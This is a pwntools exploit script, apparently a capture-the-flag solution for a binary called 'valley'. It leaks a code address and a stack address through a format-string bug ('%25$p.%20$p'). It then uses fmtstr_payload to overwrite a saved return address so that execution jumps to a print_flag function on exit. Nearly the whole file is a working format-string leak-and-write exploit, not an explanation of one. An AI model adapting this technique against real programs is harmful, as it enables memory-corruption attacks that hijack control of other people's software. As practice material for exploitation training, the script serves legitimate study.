29 lines
600 B
Python
29 lines
600 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./valley", checksec=False)
|
|
libc = target.libc
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendlineafter(b": ", a)
|
|
ss = lambda a: r.sendline(a)
|
|
|
|
# leak
|
|
s(b"%25$p.%20$p")
|
|
r.recvuntil(b": ")
|
|
leaks = r.recvlineS().split(".")
|
|
print_flag = int(leaks[0], 16) - 0x198
|
|
log.info("print_flag: %#x", print_flag)
|
|
stack_addr = int(leaks[1], 16)+0x8
|
|
log.info("stack_addr: %#x", stack_addr)
|
|
some_addr = print_flag + 0x2d97
|
|
|
|
# write
|
|
writes = {stack_addr:print_flag}
|
|
fs = fmtstr_payload(6, writes, write_size='short')
|
|
ss(fs)
|
|
ss(b"exit")
|
|
|
|
r.interactive() |